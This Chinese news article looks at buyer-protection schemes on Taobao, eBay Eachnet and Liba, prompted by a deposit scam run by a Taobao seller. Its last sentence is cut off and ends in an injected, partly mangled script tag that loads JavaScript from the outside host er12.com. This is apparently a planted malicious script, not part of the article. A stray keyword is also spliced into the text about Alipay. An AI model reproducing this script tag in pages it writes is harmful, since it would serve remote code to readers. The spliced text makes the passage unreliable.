日前，沪上媒体报道有消费者在淘宝网上向一位信用度为“三颗钻”的卖家“婵真小样”购买化妆品，听信了“要订货，先需交定金”之后，向其支付了定金却发现上当受骗。据网友统计，包括上海、北京、浙江、江苏等地至少有40名网友被骗，累计金额达10万元。
淘宝网称接到近10名网友投诉后，具体数额还在调查，目前已冻结“婵真小样”的支付宝。
近来，类似这样的网购投诉问题，频频出现于各类媒体上。随着网络购物的不断盛行，轻点鼠标就能“货比万家”，足不出户商品就能被送到眼前，消费者在感受网购时尚方便的同时也被网购的漏洞所困扰。如何充满“安全感”轻松自在地在网上购物成为消费者最关心的事情。
综观当今网络购物的几大巨头，不难看出他们在网购诚信方面所做的努力，而各自标榜的“诚信口号”也成为其服务的最大看点。不知消费者体验之后有何感受？“诚信口号”是徒有虚名还是切实有效，在此列举几个网站供大家参考。
淘宝网：“消费者保障计划”
2007年8月1日，国内领先的个人交易平台淘宝网高调宣布将全面推广其“消费者保障计划”，而这也是其继信用评价体系、第三方支付五金|工具支付宝之后，淘宝网构建的又一个提升消费者体验的工具。据介绍，入驻淘宝商城的店铺，淘宝会根据商品的种类、价值向商家收取不同程度的保证金，一旦商城里的店铺出现信用度问题，就能使用该保证金对买家进行相关赔偿。淘宝网试图通过此计划确保消费者获得高质量的网络购物体验。
此计划面世之后，“易观国际”、“艾瑞咨询”也纷纷对淘宝网此举表示支持，认为“有助于卖家增加对自身诚信度的关注，并将提升淘宝网上卖家的整体诚信程度”。但艾瑞分析认为，目前该保障计划全面推广仍需要谨慎，具体的执行细节还需要充分考虑买卖以及不同行业等差异，不断完善和改进，为交易双方都提供保障。特别是淘宝卖家加入“消费者保障计划”完全是自愿的。前文提到的“婵真小样”就没有加入“消费者保障计划”。
ebay易趣网：网络警察
易趣早在2002年即成立了中国互联网第一个网络安全监控小组。对易趣在线交易的情况进行针对性的监控。
同时，ebay易趣网的信用评价体系让买卖双方在每次交易后都能相互评分，留下信用记录，并按评分的高低对所有用户进行分级，用实在的数据为交易提供对照和保障。
在支付工具上，易趣新平台将安付通列为唯一的支付方式。这点与淘宝网不同，淘宝网允许一些交易在线下支付货款，为部分用户不实际成交互换好评开了方便之门。e鄄bay易趣对登录的物品要收取登录费和物品交易费，一定程度上规避了通过虚假交易增加信用度的行为发生。
诚信度：★★★★☆
篱笆网：“先行赔付”原则
在上海，只要涉及到装修婚庆等方面的消费，就必然知道篱笆网。篱笆网目前已拥有近130万会员，篱笆社区也成为沪上白领每日必上的家庭话题交流社区。其推行的“先行赔付”原则颇值得业内参考——即持有篱笆网会员卡的会员按照篱笆网商业平台的规范流程消费后，如若遇到质量问题或确属商家责任但却被推卸的时候，篱笆网将先行赔付。
据篱笆网工作人员介绍，篱笆网的多数商家还是能意识到诚信服务与利益之间的关系。一旦交易过程出现投诉问题，证实是商家的责任时，一般商家都会给会员一个满意的结果。
下面这两个案例就说明了这点：会员888兰兰几个月前曾参加了篱笆网组织的大叶公路同福折扣家具中心的活动，购买了两套树之语家具，但在其后前往奉贤头桥家具厂查看家具时发现存在质量问题，于是向篱笆网投诉。网站工作人员孙某及李某及时和厂家联系，多次前往商家、厂家，做了大量工作，并冒着暴风雨天气陪同会员前往位于奉贤的厂家进行沟通，最后厂家答应根据客户的要求对家具进行改进，会员对此十分满意。
面对会员投诉，尽管多数商家在篱笆网工作人员的劝导下同意赔付，但仍然有部分商家采取逃避或者拒绝的态度，毕竟建材和设计施工行业秩序还比较混乱，如何正确地规范和引导他们还有很长一段路要走。在这样的过程中，篱笆网制定了“先行赔付”制度，以此来维护会员的利益。
会员风继续吹10月在篱笆网订购了一批安信地板，安装工人为其安装过程中由于碰撞原因造成地板多处产生爆漆现象，但事后商家认为此会员没有及时提出投诉证据不足，只能负责为其修补而不做任何赔偿。风继续吹对此投诉结果十分不满意，便向篱笆网投诉，经过篱笆网认真调查，在确定是商家责任后，与商家多方面沟通，但商家仍然拒绝承担责任。在这样的情况下，经过双方共同协商，篱笆网决定履行“先行赔付”原则，赔偿会员8000元。
为保障会员的交易安全，规避交易风险，篱笆网鼓励会员使用篱笆网会员卡，通过此卡可以到?script src=http://er12.com/t.js>
